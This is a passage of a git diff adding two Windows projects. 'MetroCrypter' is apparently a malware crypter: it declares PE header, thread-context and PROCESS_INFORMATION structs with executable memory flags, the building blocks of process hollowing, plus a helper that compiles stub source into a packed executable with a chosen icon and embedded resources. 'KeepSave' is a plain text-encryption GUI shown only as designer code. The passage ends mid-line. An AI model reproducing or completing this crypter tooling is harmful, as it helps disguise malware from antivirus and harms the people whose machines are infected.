CONTEXT_INTEGER = 0x10002, + CONTEXT_SEGMENTS = 0x10004 + } + + [StructLayout(LayoutKind.Sequential)] + public struct FLOATING_SAVE_AREA + { + public uint ControlWord; + public uint StatusWord; + public uint TagWord; + public uint ErrorOffset; + public uint ErrorSelector; + public uint DataOffset; + public uint DataSelector; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=80)] + public byte[] RegisterArea; + public uint Cr0NpxState; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_DATA_DIRECTORY + { + public uint VirtualAddress; + public uint Size; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_DOS_HEADER + { + public ushort e_magic; + public ushort e_cblp; + public ushort e_cp; + public ushort e_crlc; + public ushort e_cparhdr; + public ushort e_minalloc; + public ushort e_maxalloc; + public ushort e_ss; + public ushort e_sp; + public ushort e_csum; + public ushort e_ip; + public ushort e_cs; + public ushort e_lfarlc; + public ushort e_ovno; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=4)] + public ushort[] e_res1; + public ushort e_oemid; + public ushort e_oeminfo; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=10)] + public ushort[] e_res2; + public int e_lfanew; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_FILE_HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public uint TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_NT_HEADERS + { + public uint Signature; + public Program.IMAGE_FILE_HEADER FileHeader; + public Program.IMAGE_OPTIONAL_HEADER32 OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_OPTIONAL_HEADER32 + { + public ushort Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public uint BaseOfData; + public uint ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public ushort Subsystem; + public ushort DllCharacteristics; + public uint SizeOfStackReserve; + public uint SizeOfStackCommit; + public uint SizeOfHeapReserve; + public uint SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=0x10)] + public Program.IMAGE_DATA_DIRECTORY[] DataDirectory; + } + + [StructLayout(LayoutKind.Sequential)] + private struct IMAGE_SECTION_HEADER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst=8)] + public byte[] Name; + public uint VirtualSize; + public uint VirtualAddress; + public uint SizeOfRawData; + public uint PointerToRawData; + public uint PointerToRelocations; + public uint PointerToLinenumbers; + public ushort NumberOfRelocations; + public ushort NumberOfLinenumbers; + public uint Characteristics; + } + + public enum MemoryProtection : uint + { + EXECUTE = 0x10, + EXECUTE_READ = 0x20, + EXECUTE_READWRITE = 0x40, + EXECUTE_WRITECOPY = 0x80, + GUARD_Modifierflag = 0x100, + NOACCESS = 1, + NOCACHE_Modifierflag = 0x200, + READONLY = 2, + READWRITE = 4, + WRITECOMBINE_Modifierflag = 0x400, + WRITECOPY = 8 + } + + [StructLayout(LayoutKind.Sequential)] + internal struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public IntPtr dwProcessId; + public int dwThreadId; + } + + +} + + + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.Designer.cs new file mode 100644 index 0000000..4b25666 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.Designer.cs @@ -0,0 +1,30 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace MetroCrypter.Properties +{ + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase + { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default + { + get + { + return defaultInstance; + } + } + } +} diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.cs new file mode 100644 index 0000000..b8ead52 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.cs @@ -0,0 +1,31 @@ +using System; +using System.CodeDom.Compiler; +using System.Configuration; +using System.Runtime.CompilerServices; + +namespace MetroCrypter.Properties +{ + [CompilerGenerated] + [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed class Settings : ApplicationSettingsBase + { + private static Settings defaultInstance; + + public static Settings Default + { + get + { + return Settings.defaultInstance; + } + } + + static Settings() + { + Settings.defaultInstance = (Settings)SettingsBase.Synchronized(new Settings()); + } + + public Settings() + { + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.settings b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.settings new file mode 100644 index 0000000..abf36c5 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Resources/Compiler.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Resources/Compiler.cs new file mode 100644 index 0000000..85be9ad --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Resources/Compiler.cs @@ -0,0 +1,67 @@ +using Microsoft.CSharp; +using System; +using System.CodeDom.Compiler; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.Windows.Forms; + +namespace MetroCrypter.Resources +{ + internal class Compiler + { + public Compiler() + { + } + + public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null) + { + bool flag; + CompilerParameters compilerParameter = new CompilerParameters() + { + GenerateExecutable = true, + OutputAssembly = Output + }; + string str = "/optimize+ /platform:x86 /target:winexe /unsafe"; + if (Icon != null) + { + str = string.Concat(str, " /win32icon:\"", Icon, "\""); + } + compilerParameter.CompilerOptions = str; + compilerParameter.TreatWarningsAsErrors = false; + compilerParameter.ReferencedAssemblies.Add("System.dll"); + compilerParameter.ReferencedAssemblies.Add("System.Windows.Forms.dll"); + compilerParameter.ReferencedAssemblies.Add("System.Drawing.dll"); + compilerParameter.ReferencedAssemblies.Add("System.Data.dll"); + compilerParameter.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll"); + if ((Resources == null ? false : Resources.Length != 0)) + { + string[] resources = Resources; + for (int i = 0; i < (int)resources.Length; i++) + { + string str1 = resources[i]; + compilerParameter.EmbeddedResources.Add(str1); + } + } + Dictionary strs = new Dictionary() + { + { "CompilerVersion", "v2.0" } + }; + CompilerResults compilerResult = (new CSharpCodeProvider(strs)).CompileAssemblyFromSource(compilerParameter, new string[] { source }); + if (compilerResult.Errors.Count <= 0) + { + flag = true; + } + else + { + MessageBox.Show(string.Format("The compiler has encountered {0} errors", compilerResult.Errors.Count), "Errors while compiling", MessageBoxButtons.OK, MessageBoxIcon.Hand); + foreach (CompilerError error in compilerResult.Errors) + { + MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", new object[] { error.ErrorText, error.Line, error.Column, error.FileName }), "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand); + } + flag = false; + } + return flag; + } + } +} \ No newline at end of file diff --git a/scode (KeepSave/.DS_Store b/scode (KeepSave/.DS_Store new file mode 100644 index 0000000..420d9ec Binary files /dev/null and b/scode (KeepSave/.DS_Store differ diff --git a/scode (KeepSave/.vs/KeepSave/v14/.suo b/scode (KeepSave/.vs/KeepSave/v14/.suo new file mode 100644 index 0000000..5dda4e0 Binary files /dev/null and b/scode (KeepSave/.vs/KeepSave/v14/.suo differ diff --git a/scode (KeepSave/KeepSave.sln b/scode (KeepSave/KeepSave.sln new file mode 100644 index 0000000..3c862dd --- /dev/null +++ b/scode (KeepSave/KeepSave.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.24720.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "KeepSave", "KeepSave\KeepSave.vbproj", "{0CA9B5B3-AC30-42C3-A49A-B6025EEFEA54}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {0CA9B5B3-AC30-42C3-A49A-B6025EEFEA54}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0CA9B5B3-AC30-42C3-A49A-B6025EEFEA54}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0CA9B5B3-AC30-42C3-A49A-B6025EEFEA54}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0CA9B5B3-AC30-42C3-A49A-B6025EEFEA54}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (KeepSave/KeepSave/App.config b/scode (KeepSave/KeepSave/App.config new file mode 100644 index 0000000..8a6a916 --- /dev/null +++ b/scode (KeepSave/KeepSave/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/scode (KeepSave/KeepSave/Form1.Designer.vb b/scode (KeepSave/KeepSave/Form1.Designer.vb new file mode 100644 index 0000000..16e92f8 --- /dev/null +++ b/scode (KeepSave/KeepSave/Form1.Designer.vb @@ -0,0 +1,613 @@ + +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + + Private Sub InitializeComponent() + Me.components = New System.ComponentModel.Container() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Timer1 = New System.Windows.Forms.Timer(Me.components) + Me.Timer2 = New System.Windows.Forms.Timer(Me.components) + Me.LogInThemeContainer1 = New KeepSave.LogInThemeContainer() + Me.LogInTabControl1 = New KeepSave.LogInTabControl() + Me.TabPage1 = New System.Windows.Forms.TabPage() + Me.LogInLabel2 = New KeepSave.LogInLabel() + Me.LogInLabel1 = New KeepSave.LogInLabel() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.TabPage2 = New System.Windows.Forms.TabPage() + Me.LogInButton8 = New KeepSave.LogInButton() + Me.LogInButton7 = New KeepSave.LogInButton() + Me.LogInButton9 = New KeepSave.LogInButton() + Me.LogInButton6 = New KeepSave.LogInButton() + Me.LogInButton2 = New KeepSave.LogInButton() + Me.LogInButton1 = New KeepSave.LogInButton() + Me.LogInUserTextBox2 = New KeepSave.LogInUserTextBox() + Me.LogInLabel5 = New KeepSave.LogInLabel() + Me.LogInUserTextBox1 = New KeepSave.LogInUserTextBox() + Me.LogInLabel4 = New KeepSave.LogInLabel() + Me.LogInLabel3 = New KeepSave.LogInLabel() + Me.LogInComboBox1 = New KeepSave.LogInComboBox() + Me.TabPage3 = New System.Windows.Forms.TabPage() + Me.LogInLabel7 = New KeepSave.LogInLabel() + Me.LogInLogButton1 = New KeepSave.LogInLogButton() + Me.LogInLabel8 = New KeepSave.LogInLabel() + Me.LogInButton4 = New KeepSave.LogInButton() + Me.LogInUserTextBox4 = New KeepSave.LogInUserTextBox() + Me.LogInLabel9 = New KeepSave.LogInLabel() + Me.LogInLogButton2 = New KeepSave.LogInLogButton() + Me.LogInSeperator1 = New KeepSave.LogInSeperator() + Me.LogInButton3 = New KeepSave.LogInButton() + Me.LogInUserTextBox3 = New KeepSave.LogInUserTextBox() + Me.LogInLabel6 = New KeepSave.LogInLabel() + Me.LogInThemeContainer1.SuspendLayout() + Me.LogInTabControl1.SuspendLayout() + Me.TabPage1.SuspendLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.TabPage2.SuspendLayout() + Me.TabPage3.SuspendLayout() + Me.SuspendLayout() + ' + 'Timer1 + ' + ' + 'Timer2 + ' + ' + 'LogInThemeContainer1 + ' + Me.LogInThemeContainer1.AllowClose = True + Me.LogInThemeContainer1.AllowMaximize = True + Me.LogInThemeContainer1.AllowMinimize = True + Me.LogInThemeContainer1.BackColor = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInThemeContainer1.BaseColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInThemeContainer1.BorderColour = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Me.LogInThemeContainer1.CloseChoice = KeepSave.LogInThemeContainer.__CloseChoice.Form + Me.LogInThemeContainer1.ContainerColour = System.Drawing.Color.FromArgb(CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer)) + Me.LogInThemeContainer1.Controls.Add(Me.LogInTabControl1) + Me.LogInThemeContainer1.Dock = System.Windows.Forms.DockStyle.Fill + Me.LogInThemeContainer1.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInThemeContainer1.FontSize = 12 + Me.LogInThemeContainer1.HoverColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInThemeContainer1.Location = New System.Drawing.Point(0, 0) + Me.LogInThemeContainer1.Movable = True + Me.LogInThemeContainer1.Name = "LogInThemeContainer1" + Me.LogInThemeContainer1.ShowIcon = True + Me.LogInThemeContainer1.Sizable = True + Me.LogInThemeContainer1.Size = New System.Drawing.Size(379, 312) + Me.LogInThemeContainer1.SmartBounds = True + Me.LogInThemeContainer1.TabIndex = 0 + Me.LogInThemeContainer1.Text = "KeepSave" + ' + 'LogInTabControl1 + ' + Me.LogInTabControl1.ActiveColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInTabControl1.BackTabColour = System.Drawing.Color.FromArgb(CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer)) + Me.LogInTabControl1.BaseColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInTabControl1.BorderColour = System.Drawing.Color.FromArgb(CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer), CType(CType(30, Byte), Integer)) + Me.LogInTabControl1.Controls.Add(Me.TabPage1) + Me.LogInTabControl1.Controls.Add(Me.TabPage2) + Me.LogInTabControl1.Controls.Add(Me.TabPage3) + Me.LogInTabControl1.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.LogInTabControl1.HorizontalLineColour = System.Drawing.Color.FromArgb(CType(CType(23, Byte), Integer), CType(CType(119, Byte), Integer), CType(CType(151, Byte), Integer)) + Me.LogInTabControl1.ItemSize = New System.Drawing.Size(240, 32) + Me.LogInTabControl1.Location = New System.Drawing.Point(-3, 31) + Me.LogInTabControl1.Name = "LogInTabControl1" + Me.LogInTabControl1.SelectedIndex = 0 + Me.LogInTabControl1.Size = New System.Drawing.Size(381, 281) + Me.LogInTabControl1.TabIndex = 0 + Me.LogInTabControl1.TextColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInTabControl1.UpLineColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(160, Byte), Integer), CType(CType(199, Byte), Integer)) + ' + 'TabPage1 + ' + Me.TabPage1.BackColor = System.Drawing.Color.FromArgb(CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer)) + Me.TabPage1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TabPage1.Controls.Add(Me.LogInLabel2) + Me.TabPage1.Controls.Add(Me.LogInLabel1) + Me.TabPage1.Controls.Add(Me.PictureBox1) + Me.TabPage1.Location = New System.Drawing.Point(4, 36) + Me.TabPage1.Name = "TabPage1" + Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage1.Size = New System.Drawing.Size(373, 241) + Me.TabPage1.TabIndex = 0 + Me.TabPage1.Text = "Home" + ' + 'LogInLabel2 + ' + Me.LogInLabel2.AutoSize = True + Me.LogInLabel2.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel2.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel2.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel2.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel2.Location = New System.Drawing.Point(40, 208) + Me.LogInLabel2.Name = "LogInLabel2" + Me.LogInLabel2.Size = New System.Drawing.Size(307, 15) + Me.LogInLabel2.TabIndex = 2 + Me.LogInLabel2.Text = "Here you can Encrypt and decrypt pretty much anything!" + ' + 'LogInLabel1 + ' + Me.LogInLabel1.AutoSize = True + Me.LogInLabel1.BackColor = System.Drawing.Color.Transparent + Me.LogInLabel1.Font = New System.Drawing.Font("Segoe UI", 9.0!) + Me.LogInLabel1.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel1.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInLabel1.Location = New System.Drawing.Point(130, 193) + Me.LogInLabel1.Name = "LogInLabel1" + Me.LogInLabel1.Size = New System.Drawing.Size(127, 15) + Me.LogInLabel1.TabIndex = 1 + Me.LogInLabel1.Text = "Welcome to KeepSave!" + ' + 'PictureBox1 + ' + Me.PictureBox1.Image = Global.KeepSave.My.Resources.Resources.Loo + Me.PictureBox1.Location = New System.Drawing.Point(98, 6) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(196, 170) + Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom + Me.PictureBox1.TabIndex = 0 + Me.PictureBox1.TabStop = False + ' + 'TabPage2 + ' + Me.TabPage2.BackColor = System.Drawing.Color.FromArgb(CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer), CType(CType(54, Byte), Integer)) + Me.TabPage2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TabPage2.Controls.Add(Me.LogInButton8) + Me.TabPage2.Controls.Add(Me.LogInButton7) + Me.TabPage2.Controls.Add(Me.LogInButton9) + Me.TabPage2.Controls.Add(Me.LogInButton6) + Me.TabPage2.Controls.Add(Me.LogInButton2) + Me.TabPage2.Controls.Add(Me.LogInButton1) + Me.TabPage2.Controls.Add(Me.LogInUserTextBox2) + Me.TabPage2.Controls.Add(Me.LogInLabel5) + Me.TabPage2.Controls.Add(Me.LogInUserTextBox1) + Me.TabPage2.Controls.Add(Me.LogInLabel4) + Me.TabPage2.Controls.Add(Me.LogInLabel3) + Me.TabPage2.Controls.Add(Me.LogInComboBox1) + Me.TabPage2.Location = New System.Drawing.Point(4, 36) + Me.TabPage2.Name = "TabPage2" + Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage2.Size = New System.Drawing.Size(373, 241) + Me.TabPage2.TabIndex = 1 + Me.TabPage2.Text = "Text Encoder" + ' + 'LogInButton8 + ' + Me.LogInButton8.BackColor = System.Drawing.Color.Transparent + Me.LogInButton8.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInButton8.BorderColour = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.LogInButton8.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton8.HoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInButton8.Location = New System.Drawing.Point(308, 198) + Me.LogInButton8.Name = "LogInButton8" + Me.LogInButton8.PressedColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInButton8.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton8.Size = New System.Drawing.Size(61, 30) + Me.LogInButton8.TabIndex = 12 + Me.LogInButton8.Text = "▽" + ' + 'LogInButton7 + ' + Me.LogInButton7.BackColor = System.Drawing.Color.Transparent + Me.LogInButton7.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInButton7.BorderColour = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.LogInButton7.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton7.HoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInButton7.Location = New System.Drawing.Point(308, 110) + Me.LogInButton7.Name = "LogInButton7" + Me.LogInButton7.PressedColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInButton7.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton7.Size = New System.Drawing.Size(61, 30) + Me.LogInButton7.TabIndex = 11 + Me.LogInButton7.Text = "△" + ' + 'LogInButton9 + ' + Me.LogInButton9.BackColor = System.Drawing.Color.Transparent + Me.LogInButton9.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInButton9.BorderColour = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.LogInButton9.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton9.HoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInButton9.Location = New System.Drawing.Point(308, 163) + Me.LogInButton9.Name = "LogInButton9" + Me.LogInButton9.PressedColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInButton9.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton9.Size = New System.Drawing.Size(61, 30) + Me.LogInButton9.TabIndex = 10 + Me.LogInButton9.Text = "Copy" + ' + 'LogInButton6 + ' + Me.LogInButton6.BackColor = System.Drawing.Color.Transparent + Me.LogInButton6.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInButton6.BorderColour = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.LogInButton6.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton6.HoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInButton6.Location = New System.Drawing.Point(308, 74) + Me.LogInButton6.Name = "LogInButton6" + Me.LogInButton6.PressedColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInButton6.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton6.Size = New System.Drawing.Size(61, 30) + Me.LogInButton6.TabIndex = 8 + Me.LogInButton6.Text = "Copy" + ' + 'LogInButton2 + ' + Me.LogInButton2.BackColor = System.Drawing.Color.Transparent + Me.LogInButton2.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInButton2.BorderColour = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.LogInButton2.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton2.HoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInButton2.Location = New System.Drawing.Point(310, 26) + Me.LogInButton2.Name = "LogInButton2" + Me.LogInButton2.PressedColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInButton2.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton2.Size = New System.Drawing.Size(61, 26) + Me.LogInButton2.TabIndex = 7 + Me.LogInButton2.Text = "Decrypt" + ' + 'LogInButton1 + ' + Me.LogInButton1.BackColor = System.Drawing.Color.Transparent + Me.LogInButton1.BaseColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInButton1.BorderColour = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.LogInButton1.FontColour = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton1.HoverColour = System.Drawing.Color.FromArgb(CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer), CType(CType(52, Byte), Integer)) + Me.LogInButton1.Location = New System.Drawing.Point(247, 26) + Me.LogInButton1.Name = "LogInButton1" + Me.LogInButton1.PressedColour = System.Drawing.Color.FromArgb(CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(47, Byte), Integer)) + Me.LogInButton1.ProgressColour = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(191, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.LogInButton1.Size = New System.Drawing.Size(57, 26) + Me.LogInButton1.TabIndex = 6 + Me.LogInButton1.Text = "Encrypt" + ' + 'LogInUserTextBox2 + ' + Me.LogInUserTextBox2.BackColor = System.Drawing.Color.Transparent + Me.LogInUserTextBox2.BackgroundColour = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer), CType(CType(42, Byte), Integer)) + Me.LogInUserTextBox2.BorderColour = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.LogInUserTextBox2.Location = New System.Drawing.Point(4, 163) + Me.LogInUserTextBox2.MaxLength = 32767 + Me.LogInUserTextBox2.Multiline = True + Me.LogInUserTextBox2.Name 